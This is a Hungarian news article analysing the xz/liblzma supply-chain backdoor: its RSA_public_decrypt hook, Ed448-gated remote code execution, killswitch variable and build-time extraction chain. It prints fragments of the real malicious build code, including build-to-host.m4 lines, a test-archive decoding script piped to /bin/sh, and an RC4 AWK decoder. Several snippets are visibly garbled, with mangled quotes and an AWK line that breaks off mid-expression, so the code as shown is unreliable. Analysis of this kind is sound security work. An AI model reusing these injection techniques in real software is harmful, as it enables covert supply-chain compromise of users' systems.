Az xz csomagban található hátsóajtó aktiválási és működési logikájának elemzése

Elérhetőek a hátsóajtó xz csomagban való elhelyezése révén végrehajtott kártékony objektumfájl visszafejtésének előzetes eredményei. A hátsóajtó kizárólag az x86_64 architektúrájú Linux kernel és Glibc könyvtáralapú rendszerekre vonatkozik, ahol az sshd-hez egy kiegészítő javítást alkalmaznak, amely összekapcsolódik a libsystemd könyvtárral az sd_notify mechanizmus támogatása érdekében. Eredetileg azt feltételezték, hogy a hátsóajtó lehetővé teszi az sshd hitelesítés megkerülését és hozzáférést biztosít a rendszerhez SSH-n keresztül. A részletesebb elemzés azt mutatta, hogy ez nem igaz, és a hátsóajtó lehetőséget biztosít tetszőleges kód végrehajtására a rendszerben, anélkül, hogy nyomokat hagyna az sshd naplóiban.

A hátsóajtó által elfogott RSA_public_decrypt függvény az aláíró gazdagép aláírását Ellenőrzi egy fix Ed448 kulcs használatával, és sikeres ellenőrzés esetén végrehajtja a külső gazdagéptől kapott kódot a system() függvény segítségével, még a sshd jogosultságainak visszavonása előtt. Az végrehajtandó kódot tartalmazó adatokat az RSA_public_decrypt függvénynek átadott „N” paraméterből nyerik ki (a rsa_st struktúrában található „n” mező, amely tartalmazza a külső gazdagép által biztosított nyilvános kulcsot), és azokat ellenőrzik a hash ellenőrzésével, majd a digitális aláírás Ed448-ös hitelesítése előtt egy előre meghatározott ChaCha20 kulcs segítségével dekódolják.

A hátsóajtó aktiválására a sshd-ben a szabványos gazdakulcsok cseréjének mechanizmusát használja. A hátsóajtó kihasználja, hogy az OpenSSH tanúsítványok tartalmazzák az aláírást végző fél nyilvános kulcsát, és csak a támadó által előkészített kulcsra reagál, amely megfelel egy előre meghatározott, fix Ed448 kulcsnak. Ha az aláírás ellenőrzése a nyilvános kulcs alapján nem sikerül, vagy ha az végrehajtandó adatok integritását nem igazolják, a hátsóajtó visszaadja az irányítást a SSH hagyományos funkcióinak.

Mivel a támadó zárt kulcsa ismeretlen, lehetetlen olyan ellenőrző kódot megvalósítani, amely lehetővé tenné harmadik felek számára a hátsó ajtó aktiválását és egy kompromittált hosztok hálózati szkennerének megvalósítását. A kutatók elkészítettek egy szkriptet, amely bemutatja a nyílt kulcs tetszőleges tartalomra való behelyettesítésének technikáját az OpenSSH által továbbított SSH-ügyfél tanúsítványában, amelyet a lehallgatott hátsó ajtó RSA_public_decrypt funkciója fog feldolgozni.

A kutatók azt is észrevették, hogy van egy, a hátsó ajtót semlegesítő (killswitch) konstrukció a helyi rendszeren, amely aktiválva van, ha a sshd indítása előtt be van állítva a következő környezeti változó: "yolAbejyiejuvnup=Evjtgvsh5okmkAvj".

Ezen kívül megemlíthetjük a hátsó ajtóval rendelkező objektumfájl kiemelésének folyamatának bonyolultságát, amely a liblzma könyvtárba történő behelyettesítéssel kapcsolatos shell konstrukciókat használ. Az xz csomag összeállítása során a build-to-host.m4 szkriptből futott egy kód, amely a tesztfájlok között megtalálta a bad-3-corrupt_lzma2.xz archívumot, megváltoztatta néhány karakterét, ezzel helyreállítva az archívumot, és kinyerte belőle a shell szkriptet. gl_am_configmake=`grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ 2> /dev/null` … gl_[$1]_config=’sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2> /dev/null’ gl_path_map=’tr "\t \-_" » \t_\-“

A kapott shell-script darabokra bontva kivonta a good-large_compressed.lzma archívum tartalmából egy másik shell-scriptet, kihagyva bizonyos szekvenciákat a head és tail parancsokkal, és a tr parancs segítségével helyettesítve a karaktereket. ####Hello#### # itt néhány bináris byte található, de mivel ez megjegyzés, figyelmen kívül hagyják [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 [ ! $(uname) = "Linux" ] && exit 0 eval `grep ^srcdir= config.status` if test -f ..\/..\/config.status;then eval `grep ^srcdir= ..\/..\/config.status` srcdir="..\/..\/$srcdir" fi export i="((head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +2048 && (head -c +1024 >\/dev\/null) && head -c +939)";(xz -dc $srcdir\/tests\/files\/good-large_compressed.lzma|eval $i|tail -c +31233|tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377")|xz -F raw —lzma1 -dc|\/bin\/sh ####World####

Ennek eredményeként egy meglehetősen bonyolult és terjedelmes shell-script jött létre, amely közvetlenül a good-large_compressed.lzma archívumból kinyeri a backdoor fájlt, dekódolja azt, és beágyazza a liblzma-ba. Továbbá a script tartalmazta egy pluginmechanizmus megvalósítását, amely lehetővé tette további végrehajtható komponensek szállítását új tesztarchívumok elhelyezésével, anélkül, hogy a good-large_compressed.lzma és a bad-3-corrupt_lzma2.xz megváltozott volna, a szignatúrák keresését alkalmazva. A kódban emellett egy RC4-algoritmuson alapuló dekódoló is szerepelt, amely AWK nyelven valósult meg: N=0 W=88664 else N=88664 W=0 fi xz -dc $top_srcdir\/tests\/files\/$p | eval $i | LC_ALL=C sed "s\/(\.\)\/[1m\1\n\/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<8192;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Forrás: opennet.ru

Megbízható hosting vásárlása weboldalak számára, DDoS védelemmel, VPS VDS szerverek. 🔥 Megbízható webtárhely vásárlása DDoS védelemmel, VPS VDS szerverek | ProHoster